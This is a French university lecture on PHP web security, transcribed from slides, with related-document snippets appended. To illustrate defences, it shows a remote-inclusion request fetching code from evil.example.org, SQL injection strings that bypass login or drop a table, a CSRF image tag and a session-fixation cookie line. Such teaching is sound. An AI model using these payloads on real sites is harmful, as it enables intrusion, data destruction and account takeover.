T. HSU Sécurité des programmes PHP

Dimension: px
Commencer à balayer dès la page:

Download "T. HSU Sécurité des programmes PHP"

Transcription

1 Sécurité des programmes PHP T. HSU IUT de LENS, Département informatique November 13, 2012

2 Part I Introduction à PHP

3 Fonctionnement 1 : Requète PHP 2 : Aller chercher la page MySQL Page PHP Moteur PHP 4 : Retourner la page HTML Page HTML

4 Le classique : Bonjour bonjour.php <html> <body> <h1> Mon P r e m i e r S c r i p t </h1> <$php echo HELLO WORLD ;?> </body> </html> bonjour.html <html> <body> <h1> Mon P r e m i e r S c r i p t </h1> HELLO WORLD </body> </html> Remarque Même en local, on doit passer par le serveur WEB Les lignes html sont générées avec la fonction echo

5 Un autre exemple unautreexemple.php <html> <body> <h1> Mon deuxieme S c r i p t </h1> <?php echo Nous sommes l e. gmdate ( D j M Y ). <br> ; echo Je r a j o u t e deux s a u t s a l a l i g n e <br><br> ; echo e t <u>un t e x t e s o u l i g n e </u> ;?> <h1>continuons </h1> Du html de base </body> </html>

6 Part II Fichier de configuration

7 php.ini Il existe un fichier pour configurer PHP (php.ini) Il existe des fichiers de configuration recommandée : php.ini-production, php.ini-development (php.ini-recommended) Quelques règles importantes error reporting : définit le niveau désiré de signalement des erreurs (mettre à E ALL) display errors : détermine si les erreurs doivent être affichées (mettre à On en développement, Off ensuite) log errors : détermine si les erreurs doivent être sauvegardées dans un fichier (mettre à On)

8 Part III Traitements des formulaires

9 Introduction Qui dit page web dynamique, dit possibilité au client de choisir la valeur de certaines variables Le langage html propose l utilisation de formulaires afin de collecter diverses informations Ces informations seront ensuite envoyées à d autres pages html ou PHP

10 Syntaxe les balises <form> et </form> servent à délimiter les formulaires Les paramètres pris par le tag <form> sont action : fixe le nom du document qui sera appelé lors de la soumission du formulaire method : détermine la méthode de passage des paramètres lors de la soumission des données GET POST

11 Les Méthodes de passage Méthode GET Les paramètres (et les valeurs) sont passés dans l URL du document de la façon suivante : document.php?param1=val1&param2=val2... Méthode POST Les paramères sont passés sous le même format mais ils sont passés dans le corps de la requête HTTP Ils sont invisibles sur la ligne de commande sur le log du serveur web

12 Quelle méthode choisir? Dépend de ce que l on veut faire... La méthode GET est inadaptée à la saisie de mots de passe La méthode GET est inadaptée lorsque l on veut modifier des données d une BD La méthode POST impose obligatoirement une reconnexion au serveur C est pourquoi, les moteurs de recherche choisissent la méthode GET Sur peu de jours, la base de donnée change peu d état, deux mêmes recherches aboutissent à peu près au même résultat

13 La directive Register globals Parmi les nombreuses options de php.ini, il y a REGISTER GLOBALS Depuis la PHP 4.2 cette directive est désactivée par défaut, Heureusement A quoi sert elle? Voyons voir un exemple

14 Exemple de Faille faille1.php <?php i f ( u t i l i s a t e u r A u t o r i s e ( ) ) { $ a u t o r i s a t i o n = true ; } i f ( $ a u t o r i s a t i o n ) { i n c l ude / donnees / s e n s i b l e s / data. php ; } > Que se passe t il si on appelle la page avec?autorisation=true

15 Un autre exemple faille2.php <?php i n c l ude $path / s c r i p t. php ;?> Que se passe t il si on appelle avec? path=http%3a%2f%2fevil.example.org%2f Nécessite la directive allow url fopen activée (activée dans php.ini-recommendended) Faille utilisée dans divers sites web

16 Attention Même sans REGISTER GLOBALS on est vulnérable à ce type d attaque Pensez à initialiser les variables locales!

17 Traitement des données des formulaires Considérez que toute donnée qui vous est fournie est mauvaise jusqu à ce que vous soyez sûr du contraire Idem pour les cookies, les variables de type server (REMOTE ADDR, HTTP REFERER...) formulaire.php <form a c t i o n= t r a i t e c o u l e u r. php method= POST > < s e l e c t name= c o u l e u r > <o p t i o n v a l u e= rouge >rouge </o p t i o n > <o p t i o n v a l u e= v e r t >v e r t </o p t i o n > <o p t i o n v a l u e= b l e u >bleu </o p t i o n > </ s e l e c t > <i n p u t t y p e= submit /> </form> Êtes vous sur de recevoir une des 3 valeurs rouges, vert ou bleu NON et en plus c est simple à mettre en oeuvre

18 Filtrage des données Chaque donnée extérieure (GET, POST,...) doit etre filtrée pour voir si elle est réellement valide Est ce qu il vaut mieux refuser une donnée valide que d accepter une donnée invalide? (certains sites refusent les noms comme O machin) La variable clean vous aide et vous rappelle que votre champ est valide...

19 Le Cross-site Scripting Cette attaque ne s adresse pas au serveur mais à l internaute via une faille de l application Comment ça? Que se passe t il si je mets des scripts javascripts!!! ils seront interprétés! Votre application est vulnérable si elle affiche des données externes sans les filtrer au préalable Comment se prémunir : utilisation des fonction htmlentities, strip tags ou autre utf8 decode L option magic quotes gpc de php.ini : disparaitra... dans la version PHP6!! Vous devez pensez à gérer vous même cela!!

20 Part IV Base de données

21 Introduction Approche pratique mais!!! PHP permet de dialoguer avec une base de donnée Les connexion, requête, insertions se font via des fonctions PHP (exemple...) Le script de base (nommé db.php.inc) db.php.inc <?php $host = t o t o. f r ; $username = myuser ; $password = mypass ; $db = m y s q l i c o n n e c t ( $host, $username, $password ) ;?>

22 Précautions Si vous le pouvez mettez votre fichier db.php.inc hors de la racine Web Sinon, demandez à apache (via.htaccess par exemple) de rendre inaccessible les fichiers.inc.htaccess < F i l e s \. i n c \$ > Order allow, deny Deny from a l l </ F i l e s >

23 Autre solution Créez un fichier /chemin/vers/toto que seul root peut lire SetEnv DB USER myuser SetEnv DB PASS mypass Incluez ce fichier dans httpd.conf : Include /chemin/vers/toto Vous avez maintenant accès à $ SERVER[ DB USER ] et $ SERVER[ DB PASS ]

24 Injections SQL Insertion de données comprenant du code SQL Exemples Intrusion dans un site Insertion d un utilisateur mysql, psql ou autre... Un exemple : Requête SQL SELECT * FROM Utilisateurs Where login= %s and passwd= %s peut se transformer en : SELECT * FROM Utilisateurs Where login= toto OR 1=1 and passwd= %s ou pire encore : SELECT * FROM Utilisateurs Where login= toto OR 1=1; drop table Utilisateurs; and passwd= %s

25 Précautions Tout d abord, évitez d utiliser un compte ayant tous les pouvoirs pour l exécution de votre serveur sql si possible. Filtrer les données Placez les données entre apostrophes (toutes les données!!) Utilisez des séquences d échappement pour vos données : fonctions mysqli real escape string() ou addslashes()

26 mysqli real escape string Exemple <?php // Connexion $ l i n k=m y s q l i c o n n e c t ( m y s q l h o s t, m y s q l u s e r, mysql passwd ) OR d i e ( m y s q l i e r r o r ( $ l i n k ) ) ; // Requete $ query = s p r i n t f ( SELECT FROM u s e r s WHERE u s e r = %s AND password= %s, m y s q l i r e a l e s c a p e s t r i n g ( $ l i n k, $ u s e r ), m y s q l i r e a l e s c a p e s t r i n g ( $ l i n k, $password ) ) ; m y s q l i q u e r y ( $ l i n k, $ query ) ;?>

27 Part V Les cookies et les sessions

28 Introduction Le protocole HTTP est sans état, c est-à-dire que le serveur ne conserve aucun lien entre deux sollicitations d une même source. Comment conserver des informations sur un visiteur entre deux clics? Jusqu à la version 3 Passage des variables dans l url Passage caché via la méthode POST et le tag HIDDEN Utilisation d une base de donnée Utilisation de cookies Depuis la version 4 : Les sessions

29 Introduction... 2 Moyen de sauvegarder et de modifier des variables tout le long de la visite d un internaute Sécurisation de sites, sauvegarde du panier Les informations relatives à une session sont conservées sur le serveur Un identifiant de session est posté sur le client via un cookie ou via l url

30 Les cookies : principe Ils sont créés par le serveur, grâce à l en-tête de réponse Set-cookie Lorsque le navigateur sollicite la page, cet en-tête est ajouté dans la réponse. La valeur unique d un cookie permet au serveur d identifier de manière distincte un navigateur par rapport aux autres.

31 Les cookies : fonctions cookie de préférence : enregistrement de la configuration d un utilisateur (ex. choix de la langue). cookie de session : Au démarrage d une session PHP, elle produit un identifiant de session unique (32 chiffres hexadécimaux). Cet identifiant permet : l identification d un navigateur la sauvegarde des variables de session

32 Les cookies : pourquoi les voler? Hypothèse : il est impossible que deux utilisateurs obtiennent par hasard deux fois le même identifiant de session. La sécurité des données est reportée entièrement sur le cookie de session : la présentation d un cookie suffit pour identifier un utilisateur. Le vol du cookie de session permet d usurper l identité d un utilisateur.

33 Les cookies : la défendre setcookie b o o l s e t c o o k i e ( s t r i n g name [, s t r i n g v a l u e [, i n t e x p i r e [, s t r i n g path [, s t r i n g domain [, b o o l s e c u r e [, b o o l HTTPOnly ] ] ] ] ] ] ) ; value : cryptée la valeur si nécessaire expire : durée de vie courte (attention au décalage horaire) path : chemin pour lequel le cookie est valable (utile dans le cas où le site est partagé) domain : domaine autorisé au cookie (évite de transférer le cookie à tous) secure : transmission sécurisée (true) HTTPOnly : Utilisable entre serveur et navigateur uniquement (php 5.2)

34 Les cookies : pour la sécurité (1) Un cookie peut être utilisé pour bannir un utilisateur indésirable. mise en place du cookie <?php S e t c o o k i e ( PHPSESSID, md5( microtime ( ) ), time , /,. m e s i t e s. com ) ;?> contrôle d accès <?php I f ( i s s e t ( $ COOKIE [ PHPSESSID ] ) ) { header ( HTTP/ Not Found ) ; d i e ( ) ; }?>

35 Les cookies : pour la sécurité (2) On veut s assurer qu un utilisateur est bien passé par un formulaire donné avant de lui afficher une autre page. formulaire.php <php S e t c o o k i e ( form, md5( p r e f i x e. $ SERVER [ REMOTE ADDR ] ), time , /, www. m o n s i t e. f r ) ;?> <form a c t i o n= a c t i o n. php method= POST > <i n p u t t y p e= submit v a l u e= s o u m i s s i o n > </form> action.php <?php i f (! i s s e t ( $ COOKIE [ form ] ) md5( p r e f i x e. $ SERVER [ REMOTE ADDR ] )! = $ COOKIE [ form ] ) ) { s e t c o o k i e ( form ) ; // e f f a c e m e n t du c o o k i e header ( L o c a t i o n : / f o r m u l a i r e. php ) ; // r e d i r e c t i o n d i e ( ) ; }?>

36 Création de la session Une session doit obligatoirement démarrer avant l envoi de toute information chez le client (affichage, ou envoi de header) Une session démarre avec session start() Un identifiant unique est alors généré <?php s e s s i o n s t a r t ( ) ; // Une n o u v e l l e s e s s i o n echo session name ( ). =. s e s s i o n i d ( ) ;?>

37 Enregistrement des variables Ensuite, on peut enregistrer des variables de session à l aide du tableau associatif $ SESSION. Elle remplace les fonctions : session register() session unregister() <?php $ l o g i n = UserName ;.... // e n r e g i s t r e m e n t de l a v a r i a b l e s e s s i o n l o g i n $ SESSION [ l o g i n ]= $ l o g i n ;.... // s u p p r e s s i o n de l a v a r i b l e s e s s i o n l o g i n unset $ SESSION [ l o g i n ] ; unset $ l o g i n ;?>

38 Récupération des variables Il faut utiliser le tableau associatif : $ SESSION <?php.... echo vous e t e s :. $ SESSION [ l o g i n ]. <br/> ;....?>

39 Charger une session en cours Le transport des informations peut être réalisé de deux/trois manières différentes Par utilisation de cookie ou de champs caché, on appelle cela le trans-id Par passage de l identifiant de session dans l url (méthode get) Seule l utilisation de cookie est sûre!!

40 Charger la session par utilisation de cookie Il n y a rien de particulier à faire En fait session start fonctionne ainsi : Si la session n existe pas : un identifiant est créé et est sauvegardé dans un cookie Si un cookie de session existe, alors la session est ouverte en utilisant comme identifiant celui stocké dans le cookie <?php s e s s i o n s t a r t ( ) ; echo Vous e t e s :. $ SESSION [ l o g i n ] ;....?>

41 Destruction session destroy() : destruction de la session.

42 Les problèmes de vol de session Le but du pirate est d obtenir un identifiant de session valide L objectif est de se faire passer pour quelqu un d autre... 3 méthodes : prédiction, capture et fixation Prédiction : très difficile, l identifiant est généré aléatoirement, ce n est pas là que se situe le point faible des applications Capture : facile si on fait passer l identifiant par la méthode GET (http referer, écoute sur réseau, copier/coller d adresses!), plus difficile avec les cookies Forcer l utilisation des cookies : cf php.ini Fixation : voyons voir

43 Fixation de sessions La fixation est le fait de déterminer un identifiant de session AVANT d utiliser l application (on le FIXE) Le pirate envoie l URL http: //www.toto.fr/index.php/login.php?phpsessid=1234 à un GENTIL utilisateur Le GENTIL utilisateur suit le lien, s il ne possède pas de session vers toto.fr, il l initialise à 1234 Le GENTIL utilisateur s identifie Le pirate suit le lien http: //www.toto.fr/index.php/login.php?phpsessid=1234 et se retrouve connecté comme étant le GENTIL utilisateur

44 Fixation de session : un exemple <?php s e s s i o n s t a r t ( ) ; i f ( i s s e t ($GET [ name ] ) ) $ SESSION [ name ] = $ GET [ name ] ; i f (! i s s e t ( $ SESSION [ v i s i t s ] ) ) $ SESSION [ v i s i t s ] = 1 ; e l s e $ SESSION [ v i s i t s ]++; echo $ SESSION [ name ]. : Nb a c c e s a c e t t e page ; echo d e p u i s l e debut de s e s s i o n :. $ SESSION [ v i s i t s ] ;?> On ne fait pas une nouvelle visite, on continue l ancienne Usurpation d identité!!

45 Fixation de session et cookie La fixation de session n est pas limitée à l utilisation du trans-id! Grâce à un XSS, le pirate peut initialiser un cookie avec javascript : document.cookie=#sessionid=1234#;

46 Précaution contre les fixations de sessions Vous êtes vulnérables si votre gestion de session ne consiste en rien de plus que session start() C est facilement réparable Vous pouvez prendre en compte le HTTP REFERER et le HTTP USER AGENT même si cela n est pas suffisant! <?php i f (! i s s e t ( $ SESSION [ i n i t i a l i s e ] ) ) { s e s s i o n r e g e n e r a t e i d (TRUE ) ; $ SESSION [ i n i t i a l i s e ] = t r u e ; }?> A chaque étape importante (changement de mot de passe...) regénérer le session id!

47 Protections contre les attaques Brutes Forces!! Une attaque brute force va tester des couples login/mots de passes à l aide de robots! Protection par nombres d attaques/jour Protection sur une base attaque/temps Protection par nombre attaque/compte

48 Attaques Cross-Site Request Forgeries (CSRF)!! Point de départ : une application plutôt bien sécurisée Un deuxième site est complètement distinct du premier, porteur d une vulnérabilité XSS Un pirate injecte l attaque suivante dans le deuxième site dans une image : <img s r c= h t t p : / /www. s i t e 1. com/ admin / e f f a c e. php? i d =22 /> L administrateur visite le site 2 et charge la page avec la vulnérabilité XSS!!!!!

49 Se défendre contre une (CSRF)!! Il faut compliquer la vie des pirates et s assurer souvent de l identite des utilisateurs Préférer POST à GET Lors de la réalisation d une opération critique Enchainer plusieurs pages (par exemple ajouter une page de confirmation) Identifier et authentifier systématique. Mise en place d un système d authentification aléatoire (nb de clics, durée,...)

50 Des listes pour se protéger Liste blanche : La validation d une donnée est basée sur une approche de type dictionnaire : la valeur doit faire partie d un ensemble de valeurs possibles. Liste noire : Le principe est de lister les valeurs interdites, pour pouvoir les refuser dès qu on les détecte. Liste grise : Valider avec une liste blanche et une liste noire

51 Part VI Le modèle MVC

52 Introduction Les applications php peuvent souvent devenir de vrais foutoirs Des pages accessibles de partout Des accès aux bases de données de partout C est rapidement non viable difficile à maintenir peu sûr

53 Introduction... Le modèle MVC (Modèle-Vue-Contrôleur) cherche à séparer nettement les couches présentation, traitement et accès aux données. Une application web respectant ce modèle sera architecturée de la façon suivante Interface utilisateur Logique applicative Source de données Une telle architecture est souvent appelée architecture 3-tiers ou à 3 niveaux l interface utilisateur est la vue (V) la logique applicative est le contrôleur (C) les sources de données sont le modèle (M) Le modèle MVC est bien adapté aux applications web

54 L architecture MVC Client Logique Applicative Données Interface Client main.php GENERATEUR DE VUES ACTIONS Classe d accès aux données Classe Metier Source des données le programme principal ou contrôleur, qui est la porte d entrée de l application le bloc [Actions], ensemble de scripts chargés d exécuter les actions demandées par l utilisateur le bloc [Classes métier] qui regroupe les modules php nécessaires à la logique de l application. Ils sont indépendants du client. le bloc [Classes d accès aux données] qui regroupe les modules php qui obtiennent les données nécessaires au contrôleur les générateurs des vues envoyées comme réponse au client.

55 Le modèle Le modèle peut être construit de divers manières Une classe par table dans la base de données est un bon exemple L utilisation d un ORM (Object relationnal mapping) est fortement conseillée : propel, phpmyobject... Abstraction des bases de données (PHP6???)

56 Le contrôleur Le contrôleur gère plusieurs actions (saisie d un nouvel utilisateur, affichage du résultat d une recherche) C est en quelque sorte le chef d équipe Il doit donc savoir quelle est l action désirée par le client Ceci se fait au moyen d un paramètre Soit par un champ hidden d un formulaire Soit par un champ passé dans l url en get On peut également utiliser l URL rewritting (utile pour le référencement) Il suffit ensuite de faire un switch/case sur la variable pour choisir l action à appliquer

57 La vue Possibilité d utiliser des moteurs de templates : smarty, modelixe... Dans le cas d applications de petite taille, le générateur de vue peut être remplacé directement inclus dans la partie applicative

58 frameworks MVC existants De nombreux frameworks MVC existent déjà. Difficile à appréhender? Gain de temps à court/moyen terme Symfony, Zend, Cake, Mojavi

59 Quelques remarques De cette façon le seul fichier qui doit être visible est le fichier index.php Les autres fichiers doivent être à l extérieur de l application ou inaccessible par un client web Comment faire : Dans le fichier de configuration de Apache (on n y a pas tout le temps accès) Avec.htaccess : fichiers de configuration d Apache, permettant de définir des règles dans un répertoire et dans tous ses sous-répertoires (qui n ont pas de tel fichier à l intérieur)

PHP et MySQL : notions de sécurité

PHP et MySQL : notions de sécurité PHP et MySQL : notions de sécurité Jean-Baptiste.Vioix@u-bourgogne.fr Dans ces quelques lignes des notions de sécurité élémentaires vont être présentées. Elles sont insuffisantes pour toute application

Plus en détail

Sécurité d un site php

Sécurité d un site php Sensibilisation IUT de Fontainebleau 8 juin 2015 1 2 1 2 Enjeux L application manipulent-ils des données fiables? L application interagit-elle avec le bon interlocuteur? Le secret des données échangées

Plus en détail

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse

Plus en détail

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr Sécurite Web Xavier Tannier xavier.tannier@limsi.fr Yann Jacob yann.jacob@lip6.fr Généralités 80 % des sites contiennent au moins une faille de sécurité 24 familles de failles différentes : on ne présente

Plus en détail

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.

Plus en détail

La sécurisation d applications

La sécurisation d applications Université Toulouse 1 Sciences Sociales 10 mars 2008 Les firewalls ne suffisent plus Mais ont-ils jamais été suffisants? La protection à 100% n existe pas. De plus certains protocoles doivent absolument

Plus en détail

Sécurité d un site PHP

Sécurité d un site PHP Sécurité d un site PHP Lundi 16 mai 2011 Jean-Ferdinand Susini Les impératifs de sécurité Une application Web est une application distribuée sur Internet => problème de sécurité : Les programmes de l application

Plus en détail

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward PHP CLÉS EN MAIN 76 scripts efficaces pour enrichir vos sites web par William Steinmetz et Brian Ward TABLE DES MATIÈRES INTRODUCTION 1 1 TOUT CE QUE VOUS AVEZ TOUJOURS VOULU SAVOIR SUR LES SCRIPTS PHP

Plus en détail

Programmation Web. Thierry Hamon

Programmation Web. Thierry Hamon 1/27 Programmation Web Thierry Hamon Bureau H202 - Institut Galilée Tél. : 33 1.48.38.35.53 Bureau 150 LIM&BIO EA 3969 Université Paris 13 - UFR Léonard de Vinci 74, rue Marcel Cachin, F-93017 Bobigny

Plus en détail

Accès au serveur SQL. Où ranger les accès au serveur SQL?

Accès au serveur SQL. Où ranger les accès au serveur SQL? 150 requête SQL, cela aura un impact sur un nombre limité de lignes et non plus sur l ensemble des données. MySQL propose une clause originale en SQL : LIMIT. Cette clause est disponible avec les différentes

Plus en détail

Développement de l interface Web du projet Hôpital

Développement de l interface Web du projet Hôpital Pôle informatique 2013/2014 École Nationale Supérieure des Mines de Saint-Étienne Développement de l interface Web du projet Hôpital Antoine Zimmermann antoine.zimmermann@emse.fr Le cahier des charges

Plus en détail

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (2ième édition)

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (2ième édition) Introduction 1. Objectif de l'ouvrage 13 2. Fonctionnement d un site web 13 Installation 1. Introduction 17 2. Installation d'easyphp 13.1 18 Les bases du langage PHP 1. Les balises 23 1.1 Syntaxe de base

Plus en détail

Technologies Web. Farah Benamara Zitoune Maître de conférences IRIT-UPS benamara@irit.fr

Technologies Web. Farah Benamara Zitoune Maître de conférences IRIT-UPS benamara@irit.fr Technologies Web Farah Benamara Zitoune Maître de conférences IRIT-UPS benamara@irit.fr Plan du cours Cours 1 : Introduction HTML/CSS Cours 2 : Introduction programmation web + javascirpt Cours 3 : Introduction

Plus en détail

Applications orientées données (NSY135)

Applications orientées données (NSY135) Applications orientées données (NSY135) 2 Applications Web Dynamiques Auteurs: Raphaël Fournier-S niehotta et Philippe Rigaux (philippe.rigaux@cnam.fr,fournier@cnam.fr) Département d informatique Conservatoire

Plus en détail

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web.

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web. Document 1 : client et serveur Les ordinateurs sur lesquels sont stockés les sites web sont appelés des serveurs. Ce sont des machines qui sont dédiées à cet effet : elles sont souvent sans écran et sans

Plus en détail

Applications orientées données (NSY135)

Applications orientées données (NSY135) Applications orientées données (NSY135) 2 Applications Web Dynamiques Auteurs: Raphaël Fournier-S niehotta et Philippe Rigaux (philippe.rigaux@cnam.fr,fournier@cnam.fr) Département d informatique Conservatoire

Plus en détail

TME 1 JAVASCRIPT (2 SEANCES)

TME 1 JAVASCRIPT (2 SEANCES) TME 1 JAVASCRIPT (2 SEANCES) 1. EXERCICES DE BASE Créez des fonctions javascript pour : - faire un jeu «plus petit plus grand» qui tire un nombre au hasard que l utilisateur doit trouver en entrant des

Plus en détail

4D v11 SQL Release 6 (11.6) ADDENDUM

4D v11 SQL Release 6 (11.6) ADDENDUM ADDENDUM Bienvenue dans la release 6 de 4D v11 SQL. Ce document présente les nouveautés et modifications apportées à cette nouvelle version du programme. Augmentation des capacités de chiffrement La release

Plus en détail

TD2-1 : Application client-serveur V2.3.0

TD2-1 : Application client-serveur V2.3.0 TD2-1 : Application client-serveur V2.3.0 Cette œuvre est mise à disposition selon les termes de la licence Creative Commons Attribution Pas d'utilisation Commerciale Partage à l'identique 3.0 non transposé.

Plus en détail

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010 HACKEZ-MOI CETTE APPLICATION RMLL, 2010 Bordeaux, France, 7 juillet 2010 1 MENU DU JOUR Comment attaquer une application Web Découverte Code ouvert Cas réels 2 AFUP http://www.afup.org/ 3 AYE CAPTAIN Groupe

Plus en détail

Sécurité web client. Magali Contensin. ANF Dev Web ASR Carry-Le-Rouet. 25 octobre 2012

Sécurité web client. Magali Contensin. ANF Dev Web ASR Carry-Le-Rouet. 25 octobre 2012 web client Magali Contensin 25 octobre 2012 ANF Dev Web ASR Carry-Le-Rouet Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX Visibilité du

Plus en détail

PHP/MYSQL. Web Dynamique

PHP/MYSQL. Web Dynamique PHP/MYSQL Web Dynamique ENSG Juin 2008 Qui suis-je? Guillaume Gautreau Responsable projets Systèmes d information à l ENPC guillaume@ghusse.com http://www.ghusse.com Ces 6 jours de formation Jour 1 : présentations,

Plus en détail

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL Bases de données (INF225), TELECOM ParisTech TP PHP & MySQL Pierre Senellart (pierre.senellart@telecom-paristech.fr) Bogdan Cautis (bogdan.cautis@telecom-paristech.fr) Ioana Ileana (ioana.ileana@telecom-paristech.fr)

Plus en détail

MIF30 Cryptographie. Les Injections SQL

MIF30 Cryptographie. Les Injections SQL MIF30 Cryptographie Les Injections SQL Définition Une injection SQL est un type d exploitation d une faille de sécurité. Celle-ci consiste à injecter des caractères afin de modifier le comportement d une

Plus en détail

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (3ième édition)

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (3ième édition) Introduction 1. Objectif de l'ouvrage 15 2. Fonctionnement d un site web 16 Utilisation d EasyPHP 1. Introduction 19 2. Installation d'easyphp 20 3. Prise en main d EasyPHP 20 4. Création d une première

Plus en détail

TP N o 2 - Serveur Apache

TP N o 2 - Serveur Apache IUT de Villetaneuse E. Viennet R&T Module I-C3 Applications Client/Serveur et Web 8/02/06 TP N o 2 - Serveur Apache Ce TP se déroulera avec Linux Red Hat 9 (image GTR-3), en salle de TP réseaux. EXERCICE

Plus en détail

Headers, cookies et sessions

Headers, cookies et sessions Headers, cookies et sessions Chargement de fichiers (upload) Entêtes HTTP et redirections Gestion des cookies et des sessions de connexions Authentification Validation des données Programmation avancée

Plus en détail

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage Outil d administration de parc informatique Documentation d installation et de paramétrage Nicolas BIDET Ouapi.org 29/07/2012 Sommaire Installation de Wampserver... 3 1.1. Téléchargement de WampServer...

Plus en détail

CP - NBS System. La sécurité informatique : focus sur les menaces les plus communes et leurs solutions

CP - NBS System. La sécurité informatique : focus sur les menaces les plus communes et leurs solutions La sécurité informatique : focus sur les menaces les plus communes et leurs solutions Nous avons publié en février un article résumant les principaux risques liés au manque de sécurité des sites internet.

Plus en détail

PHP. Olivier Aubert 1/24

PHP. Olivier Aubert 1/24 PHP Olivier Aubert 1/24 Introduction PHP = Hypertext PreProcessor Site officiel : http://www.php.net Créé en 1994 par Rasmus Lerdorf (Personal Home Page Tool) 1995 : ajout de la gestion des formulaires

Plus en détail

OWASP Top Ten 2007 Sommaire exécutif

OWASP Top Ten 2007 Sommaire exécutif OWASP Top Ten 2007 Sommaire exécutif Benoit Guerette, gueb@owasp.org Montreal Chapter Leader 24 février 2009 OWASP Education Project Copyright 2007 The OWASP Foundation Permission is granted to copy, distribute

Plus en détail

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web PHP & Bases de données La quantité de données utilisée par certains sites web nécessite l'utilisation d'une base de données Il faut donc disposer d'un SGBD (mysql, postgresql, oracle, ) installé sur un

Plus en détail

Vulnérabilités logicielles Injection SQL

Vulnérabilités logicielles Injection SQL MGR850 Hiver 2014 Vulnérabilités logicielles Injection SQL Hakima Ould-Slimane Chargée de cours École de technologie supérieure (ÉTS) Département de génie électrique 1 Plan SQL Injection SQL Injections

Plus en détail

TD3 : PHP «avancé» V2.4.0

TD3 : PHP «avancé» V2.4.0 TD3 : PHP «avancé» V2.4.0 Cette œuvre est mise à disposition selon les termes de la licence Creative Commons Attribution Pas d'utilisation Commerciale Partage à l'identique 3.0 non transposé. Document

Plus en détail

Cours HTML/PHP. Cours HTML/PHP. E.Coquery. emmanuel.coquery@liris.cnrs.fr

Cours HTML/PHP. Cours HTML/PHP. E.Coquery. emmanuel.coquery@liris.cnrs.fr Cours HTML/PHP E.Coquery emmanuel.coquery@liris.cnrs.fr Pages Web Pages Web statiques Principe de fonctionnement : L utilisateur demande l accès à une page Web depuis son navigateur. Adresse tapée, clic

Plus en détail

Symfony 2. 1.Définition de symfony 2. 2.Installation. 3.Structure. 4.Symfony et les commandes

Symfony 2. 1.Définition de symfony 2. 2.Installation. 3.Structure. 4.Symfony et les commandes Symfony 2 Sommaire : 1.Définition de symfony 2 2.Installation 3.Structure 4.Symfony et les commandes 5.Le fonctionnement : le routeur (les url), les bundles, twig(templates) 6.L architecture de symfony2

Plus en détail

Les injections SQL. J. Hennecart. Lundi 23 février 2015. Serval-Concept. Les bases de données Les injections SQL Comment se protéger Conclusion

Les injections SQL. J. Hennecart. Lundi 23 février 2015. Serval-Concept. Les bases de données Les injections SQL Comment se protéger Conclusion J. Hennecart Serval-Concept Lundi 23 février 2015 J. Hennecart des injections SQL sont des vulnérabilités permettant de faire exécuter des commandes, non prévues initialement, à une base de données. La

Plus en détail

Programmation Web. Sites dynamiques et bases de données. Mathieu Lacroix. I.U.T. de Villetaneuse. Année 2015-2016

Programmation Web. Sites dynamiques et bases de données. Mathieu Lacroix. I.U.T. de Villetaneuse. Année 2015-2016 Programmation Web Sites dynamiques et bases de données Mathieu Lacroix I.U.T. de Villetaneuse Année 2015-2016 E-mail : mathieu.lacroix@iutv.univ-paris13.fr Page Web : http: // www-lipn. univ-paris13. fr/

Plus en détail

LES INJECTIONS SQL. Que20. 08 novembre 2015

LES INJECTIONS SQL. Que20. 08 novembre 2015 LES INJECTIONS SQL Que20 08 novembre 2015 Table des matières 1 Introduction 5 2 Qu est-ce qu une injection SQL? 7 3 Premier cas : injection SQL sur une chaîne de caractères 9 3.1 Comment s en protéger?..............................

Plus en détail

INFO-F-405 Sécurité Informatique Projet 3 : SSL et Threat Modeling

INFO-F-405 Sécurité Informatique Projet 3 : SSL et Threat Modeling INFO-F-405 Sécurité Informatique Projet 3 : SSL et Threat Modeling Gabriel Corvalan Cornejo Gaëtan Podevijn François Santy 13 décembre 2010 1 Modélisation et récolte d information du système 1.1 Information

Plus en détail

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org Les sites Internet dynamiques contact : Patrick VINCENT pvincent@erasme.org Qu est-ce qu un site Web? ensemble de pages multimédia (texte, images, son, vidéo, ) organisées autour d une page d accueil et

Plus en détail

LES SCRIPTS CGI. Présentation Mise en œuvre La programmation Les variables d environnement

LES SCRIPTS CGI. Présentation Mise en œuvre La programmation Les variables d environnement LES SCRIPTS CGI Présentation Mise en œuvre La programmation Les variables d environnement LES SCRIPTS CGI Présentation Mise en œuvre La programmation Les variables d environnement OBJECTIFS Historiquement,

